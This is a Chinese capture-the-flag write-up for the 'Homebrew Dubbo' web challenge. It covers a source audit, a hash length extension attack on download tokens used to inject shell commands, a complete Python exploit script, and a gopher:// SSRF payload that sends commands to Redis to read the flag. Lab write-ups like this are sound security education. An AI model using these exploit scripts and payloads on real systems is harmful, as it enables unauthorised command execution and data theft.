CTF Web安全

安恒月赛Homebrew Dubbo

Posted on 2020-07-26,4 min read

首先就是页面F12。得到js.map。里面有个API_BASE+'upload/list'
可以访问/api/upload/list
得到所有上传文件的列表。第一个就是源码
下下来审计
有三个大类

flag_provider
#flag相关
frontend_consumer
#路由部分
storage_provider
#路由对应功能的代码实现

首先看flag_provider

可以看到。读取了/flag。放在了redis里。key为flag
那操纵redis。ssrf+gopher或者RCE
先看文件上传部分。

前面都没啥。我们跟进putfile方法看看

好像也没啥东西。
继续看下载功能

根据之前上传下载一番操作。我们知道下载是根据一个base64的token下载的
继续更跟进这个验证token的函数

简单来说就我们传入的

{
    "id":"xxxxx",
    "sign":"xxxx"
}
base64(md5(secret.id))==sign

而密钥最后三位未知。就知道一个长度。然后继续看
他验证完token就会调用Readfile类

这里存在命令注入。但是靶机不出网。然后看看能不能回显
之前不是有文件上传嘛。。。。继续看他是咋实现文件下载的。

上传的时候对文件UUID命名进行打包
下载的时候对UUID命名文件进行解压。然后下载文件夹内第一个文件

那么我们只要把文件随便写入一个UUID内。然后下载不就好了。
然而。。。他下载就是根据ID来的。。。一但我们写入文件夹。。签名用hashdump。他就会去解压UUID%00%00的那个文件夹。。。。。
等等。一开始我们访问的/api/upload/list会显示所有用户上传的文件。并且其中有id和token

那么思路很清楚了

1。利用hashpump对ID进行注入。将结果写入txt并且zip压缩
2。访问/api/upload/list。查找我们生成的UUID对应的Token
3。解压ZIP。带着Token下载对应的文件。

以下是脚本

import requests
import base64
import hashpumpy
import json
import uuid
import sys
url = "http://IP/api/upload"
def init():
    r=requests.post(url=url,files=[('file', ('testa.txt', 'abcd'))])
    token=json.loads(base64.b64decode(json.loads(r.text)['data']['token']))
    return token

def rce(token):
    filename = str(uuid.uuid4())
    initid=base64.b64decode(token['id'])
    initsign=base64.b64decode(token['sign'])
    command=sys.argv[1]
    hash=hashpumpy.hashpump(initsign,initid,';' + command + ' >> ' + filename + '.txt;zip ' + filename + '.zip ' + filename + '.txt;rm -rf ' + filename + '.txt;',32)
    newid=base64.b64encode(hash[1])
    newsign=base64.b64encode(hash[0])
    token['id']=str(newid)
    token['sign']=str(newsign)
    downloadtoken=json.dumps(token)
    r=requests.get(url+'?token='+base64.b64encode(downloadtoken))
    return filename
filename=rce(init())
r=json.loads(requests.get('http://IP/api/upload/list').text)['data']
for i in r:
    if i['id']==filename:
        r2=requests.get(url+'?token='+i['token']).text
        print(r2)
        exit()

然后可以利用curl gopher打Redis
源码中的redis密码是假的。。。ps -ef发现本地起的java

unzip -d /tmp/123 /usr/bin/flag_provider-0.0.1-SNAPSHOT.jar

解压到tmp。然后去里面搜application-prod.properties
知道在/tmp/123/BOOT-INF/classes/application-localhost.preperties
得到密码
然后本地开个wireshark。设个一样的密码

写个脚本跑下

data='2a320d0a24340d0a415554480d0a2432360d0a676c7a6a696e5f77616e74735f615f6769726c5f667269656e640d0a2a310d0a24370d0a434f4d4d414e440d0a2a320d0a24330d0a6765740d0a24340d0a666c61670d0a'
data2=''
for i in range(0,len(data),2):
    data2+='%'+data[i]+data[i+1]
print(data2)

得到的payload后面还得加上

%2A1%0D%0A%244%0D%0Aquit%0D%0A
解码后为
*1
$4
quit

其中*1表示。。。就。。。就。get flag。这样算两个。quit这样算一个。空格分隔?
$4。就表示几个字符串
字符串

然后curl gopher://redis:6379/_PAYLOAD即可

下一篇: [网鼎杯 2020 朱雀组]Think Java→